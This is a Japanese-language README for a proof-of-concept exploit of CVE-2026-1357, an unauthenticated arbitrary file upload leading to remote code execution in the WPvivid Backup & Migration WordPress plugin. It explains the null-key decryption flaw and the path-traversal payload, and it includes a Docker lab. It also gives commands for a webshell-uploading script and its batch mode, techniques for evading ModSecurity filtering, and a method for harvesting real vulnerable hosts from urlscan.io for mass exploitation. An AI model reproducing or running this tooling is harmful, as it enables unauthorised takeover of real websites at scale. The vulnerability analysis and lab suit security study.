
CVE-2026-1357の概念実証エクスプロイト。WPvivid Backup & Migrationにおける未認証の任意ファイルアップロードにより、リモートコード実行につながります。スタンドアロンのPythonスクリプト、WAF回避テクニック、および認証用のDocker化された脆弱性ラボが含まれています。
CVE-2026-1357(CVSS 9.8 Critical、CWE-434)のPoC:WordPress用プラグインWPvivid Backup & Migrationにおける認証なしの任意ファイルアップロードにより、リモートコード実行(RCE)に至ります。0.9.124(チェンジセット3448386)で修正済み。Wordfence Bug Bountyプログラムを通じてLucas Montes氏により報告されました。
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
この概念実証(PoC)は認可されたセキュリティ研究、教育、および防御的テストのみを目的として提供されます。
認証なしのsend_to_siteハンドラ(includes/customclass/class-wpvivid-send-to-site.php)は、攻撃者が供給したブロブを復号し、$params['data']の内容をwp-content/wpvividbackups/<攻撃者が制御する名前>に書き込みます — 認証なし、nonceなし、nameに対するパスサニタイズなしです。
意図された保護はRSAです:メッセージはランダムなセッションキーで暗号化される必要があり、そのキー自体がサイトのキーでRSA暗号化されます。欠陥はWPvivid_crypt::decrypt_message(includes/class-wpvivid-crypt.php)にあります:
$key = $rsa->decrypt($key); // 失敗時はFALSEを返す(不正なキーブロブ)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSEはnullバイトキーとして扱われる
return $rij->decrypt($data);
phpseclibのCrypt_RSA::decrypt()は、供給されたキーブロブを復号できない場合(例:openssl_private_decrypt()の失敗)にfalseを返しますが、プラグインは中断しません。falseはその後Crypt_Rijndael::setKey()に渡され、strlen(false) → 0 → キーは16個のnullバイト(AES-128、CBCモード、null IV)にパディングされます。したがって攻撃者は、完全に予測可能なnullキーでペイロードを「暗号化」します — 実際のサイトキーの知識は不要です。
ペイロードはJSONです:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}
nameはサニタイズなしでパスに連結されるため(str_replace('wpvivid','wpvivid_temp', $name)は「wpvivid」部分文字列を書き換えるのみ)、../../はwp-content/wpvividbackups/からウェブルートへ脱出します。file_size/md5が一致すると、一時ファイルは攻撃者が選択した名前にリネームされ → 公開アクセス可能なPHP → RCEとなります。
修正(チェンジセット3448386)では、RSAステップが失敗した場合に中断します:
if ($key === false || empty($key)) {
return false;
}
ターゲット:
wpvivid_api_tokenオプションが存在し、期限切れでないこと — WPvivid → 設定 → 自動マイグレーションで管理者が生成をクリックするたびに作成されます(マイグレーション機能を使用するサイトで一般的)攻撃者:
script.pyは完全にスタンドアロンです:標準ライブラリのみ、ローカルインポートなし、外部ファイルなし。シンプルな位置引数CLI:
# 単一ターゲット
python script.py https://target.example.com
# カスタムコマンド
python script.py https://target.example.com --command "uname -a"
# バッチモード(1行に1URL)→ success.txt / failed.txt
python script.py sites.txt --threads 10
# WAF回避:パーセントエンコードされたパラメータ名/値、またはmultipartボディ
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# テスト後にウェブシェルを自己削除
python script.py https://target.example.com --cleanup
終了コード:0は脆弱、それ以外は1。
../lab/には、Docker化された脆弱なターゲット(WordPress 6.8 + plugins/からのWPvivid 0.9.123ソース)が含まれています:
cd ../lab
docker compose up -d
# http://localhost:8090/ でWordPressのインストールを完了
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
検証済みの動作ソース(ライブテスト済み、アカウント不要):
https://urlscan.io/search/#filename:wpvivid-backuprestore
プラグインスラッグを参照する約74のインデックス化されたページ;クリックしてホスト名を収集します。すべての結果URLはプラグインパス(/wp-content/plugins/wpvivid-backuprestore/)で始まるため、ホストの抽出は簡単です。テスト済みでターゲットが得られないクエリ(意図的に除外):
Google/Bingダーク(inurl:はプラグイン自身のwordpress.orgページまたはボット壁のみを返す)、DuckDuckGo(同様)、Shodan http.html:(切り詰められたHTMLをインデックス化、ヒットゼロ)、Wayback CDXワイルドカード(空)、PublicWWW(ゲストスクレイピングがブロック)。
収集したホストをトリアージ(script.pyに--triageとして組み込み)に渡します。各サイトについて以下をチェックします:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123(認証なしの低ノイズチェック;HTML内の?ver=アセットクエリ文字列がフォールバック)wpvivid_action=send_to_site&wpvivid_content=AAAA:
JSONレスポンス(The key is invalid.)= wpvivid_api_tokenが存在;
空 = トークンなし / プラグイン非アクティブ / WAFがプローブをドロップ<= 0.9.123かつトークンが有効なサイトのみがin-scope.txtに書き込まれ、その後:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
実環境で動作し続けた2025年の長期稼働アップローダー(同じ著者)から移植されたテクニック:
X-Requested-With: XMLHttpRequest、
Accept: application/json, */*;q=0.1、同一オリジンのReferer、ブラウザUARefererを保持--threads N)success.txt / failed.txtを書き込み、検証済みのシェルのみを成功として記録(オリジナルのsuccessファイルと同様)--encode / --multipart../lab/waf/は、脆弱なWordPressの前にowasp/modsecurity-crs:apacheリバースプロキシを追加します(WAFは:8092、生のターゲットは:8093)。測定された動作:
| ステップ | CRS経由の結果 |
|---|---|
| アップロードPOST(プレーン) | 通過 — AESブロブ + AJAXヘッダーがCRSルールに一致しない |
アップロードPOST(--encode) | 通過 |
アップロードPOST(--multipart) | 通過 |
シェルGET ?<p>=id / hostname / ls | 通過、コマンド実行 |
シェルGET ?<p>=id; hostname; uname -a | 403 — CRS 932xxxコマンドインジェクションルール |
| プレーンGET(PWN-OKマーカー) | 通過 |
暗号化されたアップロードはCRSのコンテンツ検査からは見えません(2025年のアップローダーのホワイトリストに見えるAJAXと同じ生存特性)。CRSの唯一の攻撃面は後続のコマンドGETであるため、ツールは現在デフォルトで--command idを使用し、コマンドGETがWAFでフィルタリングされた場合でもプレーンGETのPWN-OKマーカーでRCEを確認します(注記付きでvulnerableとして報告)。wpvivid_action=send_to_siteをシグネチャするオンホストWAF(例:Wordfence仮想パッチ)は、プラグインレベルでアップロード自体をブロックします — リクエスト形状のトリックではこれらを回避できません。